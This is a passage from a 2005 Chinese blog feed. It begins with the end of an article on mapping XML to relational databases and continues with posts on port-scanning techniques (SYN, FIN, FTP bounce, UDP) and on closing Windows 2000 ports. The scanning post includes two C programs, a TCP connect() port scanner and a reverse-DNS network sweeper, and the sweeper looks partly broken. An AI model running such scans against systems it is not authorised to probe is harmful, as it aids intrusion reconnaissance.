当在XML文档和数据库结构之间相互映射过程中，你必须特别注意那些可选的元素类型或属性是否对应于数据库中的空值项。如果不这么做的话，很可能出现插入错误(当将数据转换到数据库中时)或者无效文档错误(当将数据从数据库读出时)。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 因为同样要用符号空值，XML中相对与数据库而言更为灵活。具体来讲，许多XML用户很可能包含空字符串的空元素或属性是空值。这个时候你必须考虑如何选择合适的中间件来解决这个问题。一些中间件可以让用户选择在XML文档中定义用什么来组成空值。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.4 字符集<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 根据定义，除了一些控制字符，XML文档能够包含任何的Unicode字符。但是不幸的是，许多数据库都限制或则不支持Unicode，而且需要一些特殊的配置才能够处理非ASCII编码的字符数据。如果你的数据包含了非ASCII字符，那么务必要核实你的数据库和中间件是否能够处理这些字符。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.5 处理指令<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 处理指令并不属于XML文档中的“数据”部分，因此目前许多中间件可能不能正常的处理。问题是，尤其是在将XML文档结构严格映射成数据库结构时，处理指令通常是很难处理的，因为它们可以虚拟地出现在文档的任何位置。因此，中间件就很难判断将它们保存到什么位置以及在什么时候检索读取出来。如果处理指令和文档的循环回复("round-tripping")对你而言是非常重要的话，就务必检查你的中间件是如解决这个问题的。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.6 存储标记<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; href="#markup"&gt;4<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; href="#markup"&gt;.2.2 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 小节中提到，有时候将包含元素或者混合内容的元素不作进一步的解析而直接保存到数据库中是非常有用的。最常见的方法是简单的把这个标记本身直接保存到数据库中。不幸的是，当从数据库中检索数据时将产生问题：不可能判断数据库中的标记到底是真的标记还是代表了标记字符的实体，如由lt和gt转义的字符。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 例如，下面的description元素:<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;description&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;b&gt;Confusing example:&lt;/b&gt; &lt;foo/&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/description&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在数据库中存储为:<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;b&gt;Confusing example:&lt;/b&gt; &lt;foo/&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 这时数据库就不能判断&lt;b&gt;和&lt;foo&gt;是标记还是文本。有几种可能的解决方法，如以一定的方式来标志标记或者对非标记的标记字符使用实体。但是这时你要格外注意这样的方式是否和使用这些的数据的其它应用兼容。例如，如果你想查询数据库中的小于号("&lt;")和 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; lt实体("&lt;")时就要特别留心。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.4 从数据库的结构生成DTD及其互逆过程<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在XML文档和数据库之间转换数据时，一个普遍问题是：如何从数据库的结构(Schema)生成XML的DTD,如果从XML的DTD产生数据库的结构。简而言之，这是非常直接的操作，但是产生的结果通常离许多用户的期望值还有一些距离。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; (还要注意这通常是一次性操作，而大多数应用，尤其是所有的垂直性应用都结合了已知的DTD和关系型Schema的集合。显而易见的特例是在关系数据库中存储随机XML文档或者将关系型数据发布为XML文档的工具;而在后面的情况中，DTD的作用并不明显。)<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对于元素类型中每个有单一数值的属性和只包含有PCDATA内容的子元素类型在该ta <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; ble中新建立一列（字段）。如果子元素类型或则属性是可选的，让该字段允许为空。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对于每个有多值的属性或则多仅含有PCDATA内容的子元素类型，再建立一个分开的 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; table来保存他们的值，通过它们的父表的主关键字连接到父表。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对于每个子元素，这些子元素本身还有元素或则混合内容，使用父表中的关键字将 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 父元素表连接到子元素表中。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 而下面则是一个从关系数据库的结构生成XML文档的过程（简化过的）： <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对每个table，新建一个元素。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对表中的每列，建立一个属性或则只含PCDATA的子元素 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对每个包含有在主键/外键关键字关系中主键值的列，新建一个子元素。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 　<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 例如，下面的过程(经简化）说明了如何从一个DTD生成一个关系型结构:<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对于每种包含元素或者混合内容的元素类型，新建一个表格和一个主键字段。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对于每个包含混合内容的元素类型，创建一个单独的表格，其中存放未析数据，通过父元素主键链接到父表格。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对于此元素类型的每个单值属性和只包含未析数据内容、只出现一次的子元素，在该表格中创建一个字段。如果元素类型或者属性是可选的，可以让设置该字段为空值。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对于每个多值属性和多次出现的子元素，创建一个单独的表格来存储数值，并且通过父元素主键链接到父表格。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对每个有元素或者混合内容的子元素，通过父元素主键将父元素表格和子元素表格相连接。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 下面的过程(经简化)说明了如何从一个关系型的结构生成一个DTD:<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对于每个表格，新建一个元素； <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对于表格中的每个字段，新建一个属性或者是只包含未析数据的子元素； <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对于每个表格字段中提供主键的主键/外键的关系都新建一个子元素。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 不幸的是，这些过程还存在着一些缺陷。例如，DTD中没有方法预先准确地规定数据类型或者字段长度。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 因为任何的预先定义(例如通过读取一个示例文档)在读取其它“类型”的文档或者其他文档中包含有超过字长内容的文档时就会产生错误。(长久之策是使用XML schema文档的数据类型。)简单来说，当从一关系型结构生成DTD时，是没有办法预先判断子元素“应该”出现的顺序或者字段(如数据库内部的行标识)是否该进行完全转换。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在以上两种情况中都可能产生命名的冲突。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 尽管有这样那样的缺陷，但是这些方法仍然能够很好地奠定在关系型结构和DTD之间互相转换的起点。<A>　</DIV></A>]]></description>
</item><item>
<title><![CDATA[[安全技术]端口扫描分析（二）端口扫描途径]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=6832</link>
<author>anchen0617</author>
<pubDate>2005/6/27 0:07:03</pubDate>
<description><![CDATA[二。　端口扫描途径<BR>什么是扫描器<BR>　　扫描器是一种自动检测远程或本地主机安全性弱点的程序，通过使用扫描器你可一不留痕迹的发现远程服务器的各种TCP端口的分配及提供的服务和它们的软件版本！这就能让我们间接的或直观的了解到远程主机所存在的安全问题。<BR><BR>工作原理<BR>　　扫描器通过选用远程TCP/IP不同的端口的服务，并记录目标给予的回答，通过这种方法，可以搜集到很多关于目标主机的各种有用的信息（比如：是否能用匿名登陆！是否有可写的FTP目录，是否能用TELNET，HTTPD是用ROOT还是nobady在跑！）<BR><BR>扫描器能干什么？<BR>　　扫描器并不是一个直接的攻击网络漏洞的程序，它仅仅能帮助我们发现目标机的某些内在的弱点。一个好的扫描器能对它得到的数据进行分析，帮助我们查找目标主机的漏洞。但它不会提供进入一个系统的详细步骤。<BR>　　扫描器应该有三项功能：发现一个主机或网络的能力；一旦发现一台主机，有发现什么服务正运行在这台主机上的能力；通过测试这些服务，发现漏洞的能力。<BR>　　编写扫描器程序必须要很多TCP/IP程序编写和C, Perl和或SHELL语言的知识。需要一些Socket编程的背景，一种在开发客户/服务应用程序的方法。开发一个扫描器是一个雄心勃勃的项目，通常能使程序员感到很满意。<BR>　　下面对常用的端口扫描技术做一个介绍。<BR>TCP connect() 扫描<BR>　　这是最基本的TCP扫描。操作系统提供的connect()系统调用，用来与每一个感兴趣的目标计算机的端口进行连接。如果端口处于侦听状态，那么connect()就能成功。否则，这个端口是不能用的，即没有提供服务。这个技术的一个最大的优点是，你不需要任何权限。系统中的任何用户都有权利使用这个调用。另一个好处就是速度。如果对每个目标端口以线性的方式，使用单独的connect()调用，那么将会花费相当长的时间，你可以通过同时打开多个套接字，从而加速扫描。使用非阻塞I/O允许你设置一个低的时间用尽周期，同时观察多个套接字。但这种方法的缺点是很容易被发觉，并且被过滤掉。目标计算机的logs文件会显示一连串的连接和连接是出错的服务消息，并且能很快的使它关闭。<BR><BR>TCP SYN扫描<BR>　　这种技术通常认为是“半开放”扫描，这是因为扫描程序不必要打开一个完全的TCP连接。扫描程序发送的是一个SYN数据包，好象准备打开一个实际的连接并等待反应一样（参考TCP的三次握手建立一个TCP连接的过程）。一个SYN|ACK的返回信息表示端口处于侦听状态。一个RST返回，表示端口没有处于侦听态。如果收到一个SYN|ACK，则扫描程序必须再发送一个RST信号，来关闭这个连接过程。这种扫描技术的优点在于一般不会在目标计算机上留下记录。但这种方法的一个缺点是，必须要有root权限才能建立自己的SYN数据包。<BR><BR>TCP FIN 扫描<BR>　　有的时候有可能SYN扫描都不够秘密。一些防火墙和包过滤器会对一些指定的端口进行监视，有的程序能检测到这些扫描。相反，FIN数据包可能会没有任何麻烦的通过。这种扫描方法的思想是关闭的端口会用适当的RST来回复FIN数据包。另一方面，打开的端口会忽略对FIN数据包的回复。这种方法和系统的实现有一定的关系。有的系统不管端口是否打开，都回复RST，这样，这种扫描方法就不适用了。并且这种方法在区分Unix和NT时，是十分有用的。<BR><BR>IP段扫描<BR>　　这种不能算是新方法，只是其它技术的变化。它并不是直接发送TCP探测数据包，是将数据包分成两个较小的IP段。这样就将一个TCP头分成好几个数据包，从而过滤器就很难探测到。但必须小心。一些程序在处理这些小数据包时会有些麻烦。<BR><BR>TCP 反向 ident扫描<BR>　　ident 协议允许(rfc1413)看到通过TCP连接的任何进程的拥有者的用户名，即使这个连接不是由这个进程开始的。因此你能，举个例子，连接到http端口，然后用identd来发现服务器是否正在以root权限运行。这种方法只能在和目标端口建立了一个完整的TCP连接后才能看到。<BR><BR>FTP 返回攻击<BR>　　FTP协议的一个有趣的特点是它支持代理（proxy）FTP连接。即入侵者可以从自己的计算机a.com和目标主机target.com的FTP server-PI(协议解释器)连接，建立一个控制通信连接。然后，请求这个server-PI激活一个有效的server-DTP(数据传输进程)来给Internet上任何地方发送文件。对于一个User-DTP，这是个推测,尽管RFC明确地定义请求一个服务器发送文件到另一个服务器是可以的。但现在这个方法好象不行了。这个协议的缺点是“能用来发送不能跟踪的邮件和新闻，给许多服务器造成打击，用尽磁盘，企图越过防火墙”。<BR>　　我们利用这个的目的是从一个代理的FTP服务器来扫描TCP端口。这样，你能在一个防火墙后面连接到一个FTP服务器，然后扫描端口（这些原来有可能被阻塞）。如果FTP服务器允许从一个目录读写数据，你就能发送任意的数据到发现的打开的端口。<BR>　　对于端口扫描，这个技术是使用PORT命令来表示被动的User DTP正在目标计算机上的某个端口侦听。然后入侵者试图用LIST命令列出当前目录，结果通过Server-DTP发送出去。如果目标主机正在某个端口侦听，传输就会成功（产生一个150或226的回应）。否则，会出现"425 Can't build data connection: Connection refused."。然后，使用另一个PORT命令，尝试目标计算机上的下一个端口。这种方法的优点很明显，难以跟踪，能穿过防火墙。主要缺点是速度很慢，有的FTP服务器最终能得到一些线索，关闭代理功能。<BR><BR>这种方法能成功的情景：<BR>220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready.<BR>220 xxx.xxx.xxx.edu FTP server ready.<BR>220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready.<BR>220 lem FTP server (SunOS 4.1) ready.<BR>220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready.<BR>220 elios FTP server (SunOS 4.1) ready<BR><BR>这种方法不能成功的情景：<BR>220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready.<BR>220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7<BR>220 ftp Microsoft FTP Service (Version 3.0).<BR>220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready.<BR>220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready.<BR><BR>UDP ICMP端口不能到达扫描<BR>　　这种方法与上面几种方法的不同之处在于使用的是UDP协议。由于这个协议很简单，所以扫描变得相对比较困难。这是由于打开的端口对扫描探测并不发送一个确认，关闭的端口也并不需要发送一个错误数据包。幸运的是，许多主机在你向一个未打开的UDP端口发送一个数据包时，会返回一个ICMP_PORT_UNREACH错误。这样你就能发现哪个端口是关闭的。UDP和ICMP错误都不保证能到达，因此这种扫描器必须还实现在一个包看上去是丢失的时候能重新传输。这种扫描方法是很慢的，因为RFC对ICMP错误消息的产生速率做了规定。同样，这种扫描方法需要具有root权限。<BR><BR>UDP recvfrom()和write() 扫描<BR>　　当非root用户不能直接读到端口不能到达错误时，Linux能间接地在它们到达时通知用户。比如，对一个关闭的端口的第二个write()调用将失败。在非阻塞的UDP套接字上调用recvfrom()时，如果ICMP出错还没有到达时回返回EAGAIN-重试。如果ICMP到达时，返回ECONNREFUSED-连接被拒绝。这就是用来查看端口是否打开的技术。<BR><BR>ICMP echo扫描<BR>　　这并不是真正意义上的扫描。但有时通过ping，在判断在一个网络上主机是否开机时非常有用。<BR>下面是一个端口扫描器的源程序，功能相当的简单，一个典型的TCP connect()扫描。没有对返回的数据进行分析。<BR>#include &lt;stdio.h&gt;<BR>#include &lt;sys/socket.h&gt;<BR>#include &lt;netinet/in.h&gt;<BR>#include &lt;errno.h&gt;<BR>#include &lt;netdb.h&gt;<BR>#include &lt;signal.h&gt;<BR><BR>int main(int argc, char **argv)<BR>{<BR>int probeport = 0;<BR>struct hostent *host;<BR>int err, i, net;<BR>struct sockaddr_in sa;<BR><BR>if (argc != 2) {<BR>printf("用法: %s hostname\n", argv[0]);<BR>exit(1);<BR>}<BR><BR>for (i = 1; i &lt; 1024; i++) { //这里有点不是很好，可以将主机地址放在循环外<BR>strncpy((char *)&amp;sa, "", sizeof sa);<BR>sa.sin_family = AF_INET;<BR>if (isdigit(*argv[1]))<BR>sa.sin_addr.s_addr = inet_addr(argv[1]);<BR>else if ((host = gethostbyname(argv[1])) != 0)<BR>strncpy((char *)&amp;sa.sin_addr, (char *)host-&gt;h_addr, sizeof sa.sin_addr);<BR>else {<BR>herror(argv[1]);<BR>exit(2);<BR>}<BR>sa.sin_port = htons(i);<BR>net = socket(AF_INET, SOCK_STREAM, 0);<BR>if (net &lt; 0) {<BR>perror("\nsocket");<BR>exit(2);<BR>}<BR>err = connect(net, (struct sockaddr *) &amp;sa, sizeof sa);<BR>if (err &lt; 0) {<BR>printf("%s %-5d %s\r", argv[1], i, strerror(errno));<BR>fflush(stdout);<BR>} else {<BR>printf("%s %-5d accepted. \n", argv[1], i);<BR>if (shutdown(net, 2) &lt; 0) {<BR>perror("\nshutdown");<BR>exit(2);<BR>}<BR>}<BR>close(net);<BR>}<BR>printf(" \r");<BR>fflush(stdout);<BR>return (0);<BR>}<BR>下面这个又是一个端口器：<BR>#include &lt;stdio.h&gt;<BR>#include &lt;sys/types.h&gt;<BR>#include &lt;sys/socket.h&gt;<BR>#include "netdb.h"<BR>struct hostent *gethostbyaddr();<BR>void bad_addr();<BR>main(argc, argv)<BR>int argc;<BR>char *argv[];<BR>{<BR>char addr[4];<BR>int i, j,<BR>a0, a1, a2, a3,<BR>c,<BR>classB, classC, single, hex;<BR>char *fmt = "%d.%d.%d";<BR>char **ptr;<BR>struct hostent *host;<BR>extern char *optarg;<BR>classB = classC = single = hex = 0;<BR>while((c = getopt(argc,argv,"bcsx")) != EOF) {<BR>switch(c) {<BR>case 'b':<BR>classB++;<BR>break;<BR>case 'c':<BR>classC++;<BR>break;<BR>case 's':<BR>single++;<BR>break;<BR>case 'x':<BR>hex++;<BR>break;<BR>}<BR>}<BR>if(classB == 0 &amp;&amp; classC == 0 &amp;&amp; single == 0) {<BR>fprintf(stderr, "usage: %s [-b||-c||-s] [-x] xxx.xxx[.xxx[.xxx]]\n", argv[0]);<BR>exit(1);<BR>}<BR>if(classB)<BR>if(hex) {<BR>fmt = "%x.%x";<BR>sscanf(argv[3], fmt, &amp;a0, &amp;a1);<BR>} else {<BR>fmt = "%d.%d";<BR>sscanf(argv[2], fmt, &amp;a0, &amp;a1);<BR>}<BR>else if(classC)<BR>if(hex) {<BR>fmt = "%x.%x.%x";<BR>sscanf(argv[3], fmt, &amp;a0, &amp;a1, &amp;a2);<BR>} else {<BR>fmt = "%d.%d.%d";<BR>sscanf(argv[2], fmt, &amp;a0, &amp;a1, &amp;a2);<BR>}<BR>else if(single)<BR>if(hex) {<BR>fmt = "%x.%x.%x.%x";<BR>sscanf(argv[3], fmt, &amp;a0, &amp;a1, &amp;a2, &amp;a3);<BR>} else {<BR>fmt = "%d.%d.%d.%d";<BR>sscanf(argv[2], fmt, &amp;a0, &amp;a1, &amp;a2, &amp;a3);<BR>}<BR>sscanf(argv[1], fmt, &amp;a0, &amp;a1, &amp;a2);<BR>addr[0] = (unsigned char)a0;<BR>addr[1] = (unsigned char)a1;<BR>if(a0&gt;255||a0&lt;0)<BR>bad_addr(a0);<BR>if(a1&gt;255||a1&lt;0)<BR>bad_addr(a1);<BR>if(classB) {<BR>if(hex)<BR>printf("Converting address from hex. (%x.%x)\n", a0, a1);<BR>printf("Scanning Class B network %d.%d...\n", a0, a1);<BR>while(j!=256) {<BR>a2=j;<BR>addr[2] = (unsigned char)a2;<BR>jmpC:<BR>if(classC)<BR>if(hex)<BR>printf("Converting address from hex. (%x.%x.%x)\n", a0, a1, a2);<BR>printf("Scanning Class C network %d.%d.%d...\n", a0, a1, a2);<BR>while(i!=256) {<BR>a3=i;<BR>addr[3] = (unsigned char)a3;<BR>jmpS:<BR>if ((host = gethostbyaddr(addr, 4, AF_INET)) != NULL) {<BR>printf("%d.%d.%d.%d =&gt; %s\n", a0, a1, a2, a3, host-&gt;h_name);<BR>ptr = host-&gt;h_aliases;<BR>while (*ptr != NULL) {<BR>printf("%d.%d.%d.%d =&gt; %s (alias)\n", a0, a1, a2, a3, *ptr);<BR>ptr++;<BR>}<BR>}<BR>if(single)<BR>exit(0);<BR>i++;<BR>}<BR>if(classC)<BR>exit(0);<BR>j++;<BR>}<BR>} else if(classC) {<BR>addr[2] = (unsigned char)a2;<BR>if(a2&gt;255||a2&lt;0)<BR>bad_addr(a2);<BR>goto jmpC;<BR>} else if(single) {<BR>addr[2] = (unsigned char)a2;<BR>addr[3] = (unsigned char)a3;<BR>if(a2&gt;255||a2&lt;0)<BR>bad_addr(a2);<BR>if(a3&gt;255||a3&lt;0)<BR>bad_addr(a3);<BR>goto jmpS;<BR>}<BR>exit(0);<BR>}<BR>void<BR>bad_addr(addr)<BR>int *addr;<BR>{<BR>printf("Value %d is not valid.\n", addr);<BR>exit(0);<BR>}]]></description>
</item><item>
<title><![CDATA[[安全技术]怎样关闭端口]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=6831</link>
<author>anchen0617</author>
<pubDate>2005/6/27 0:07:03</pubDate>
<description><![CDATA[
<DIV>怎样关闭端口 </DIV>
<DIV>每一项服务都对应相应的端口，比如众如周知的WWW服务的端口是80，smtp是25，ftp是21，win2000安装中默认的都是这些服务开启的。对于个人用户来说确实没有必要，关掉端口也就是关闭无用的服务。 “控制面板”的“管理工具”中的“服务”中来配置。 <BR>1、关闭7.9等等端口：关闭Simple TCP/IP Service,支持以下 TCP/IP 服务：Character Generator, Daytime, Discard, Echo, 以及 Quote of the Day。 <BR>2、关闭80口：关掉WWW服务。在“服务”中显示名称为"World Wide Web Publishing Service"，通过 Internet 信息服务的管理单元提供 Web 连接和管理。 <BR>3、关掉25端口：关闭Simple Mail Transport Protocol (SMTP)服务，它提供的功能是跨网传送电子邮件。 <BR>4、关掉21端口：关闭FTP Publishing Service,它提供的服务是通过 Internet 信息服务的管理单元提供 FTP 连接和管理。 <BR>5、关掉23端口：关闭Telnet服务，它允许远程用户登录到系统并且使用命令行运行控制台程序。 <BR>6、还有一个很重要的就是关闭server服务，此服务提供 RPC 支持、文件、打印以及命名管道共享。关掉它就关掉了win2k的默认共享，比如ipc$、c$、admin$等等，此服务关闭不影响您的共他操作。 <BR>7、还有一个就是139端口，139端口是NetBIOS　Session端口，用来文件和打印共享，注意的是运行samba的unix机器也开放了139端口，功能一样。以前流光2000用来判断对方主机类型不太准确，估计就是139端口开放既认为是NT机，现在好了。 关闭139口听方法是在“网络和拨号连接”中“本地连接”中选取“Internet协议(TCP/IP)”属性，进入“高级TCP/IP设置”“WINS设置”里面有一项“禁用TCP/IP的NETBIOS”，打勾就关闭了139端口。 对于个人用户来说，可以在各项服务属性设置中设为“禁用”，以免下次重启服务也重新启动，端口也开放了。</DIV>
<DIV>每一项服务都对应相应的端口，比如众如周知的WWW服务的端口是80，smtp是25，ftp是21，win2000安装中默认的都是这些服务开启的。对于个人用户来说确实没有必要，关掉端口也就是关闭无用的服务。 <BR>“控制面板”的“管理工具”中的“服务”中来配置。 <BR>1、关闭7.9等等端口：关闭Simple TCP/IP Service,支持以下 TCP/IP 服务：Character Generator, Daytime, Discard, Echo, 以及 Quote of the Day。 <BR>2、关闭80口：关掉WWW服务。在“服务”中显示名称为"World Wide Web Publishing Service"，通过 Internet 信息服务的管理单元提供 Web 连接和管理。 <BR>3、关掉25端口：关闭Simple Mail Transport Protocol (SMTP)服务，它提供的功能是跨网传送电子邮件。 <BR>4、关掉21端口：关闭FTP Publishing Service,它提供的服务是通过 Internet 信息服务的管理单元提供 FTP 连接和管理。 <BR>5、关掉23端口：关闭Telnet服务，它允许远程用户登录到系统并且使用命令行运行控制台程序。 <BR>6、还有一个很重要的就是关闭server服务，此服务提供 RPC 支持、文件、打印以及命名管道共享。关掉它就关掉了win2k的默认共享，比如ipc$、c$、admin$等等，此服务关闭不影响您的共他操作。 <BR>7、还有一个就是139端口，139端口是NetBIOS　Session端口，用来文件和打印共享，注意的是运行samba的unix机器也开放了139端口，功能一样。以前流光2000用来判断对方主机类型不太准确，估计就是139端口开放既认为是NT机，现在好了。 <BR>关闭139口听方法是在“网络和拨号连接”中“本地连接”中选取“Internet协议(TCP/IP)”属性，进入“高级TCP/IP设置”“WINS设置”里面有一项“禁用TCP/IP的NETBIOS”，打勾就关闭了139端口。 <BR>对于个人用户来说，可以在各项服务属性设置中设为“禁用”，以免下次重启服务也重新启动，端口也开放了。 </DIV>
<DIV>&nbsp;</DIV>
<DIV><BR>　我们一般采用一些功能强大的反黑软件和防火墙来保证我们的系统安全，但是有些用户不具备上述条件。怎么办呢？下面就介绍一种简易的办法——通过限制端口来帮助大家防止非法入侵。</DIV>
<DIV>　　非法入侵的方式</DIV>
<DIV>　　简单说来，非法入侵的方式可粗略分为4种：</DIV>
<DIV>　　1、扫描端口，通过已知的系统Bug攻入主机。</DIV>
<DIV>　　2、种植木马，利用木马开辟的后门进入主机。</DIV>
<DIV>　　3、采用数据溢出的手段，迫使主机提供后门进入主机。</DIV>
<DIV>　　4、利用某些软件设计的漏洞，直接或间接控制主机。</DIV>
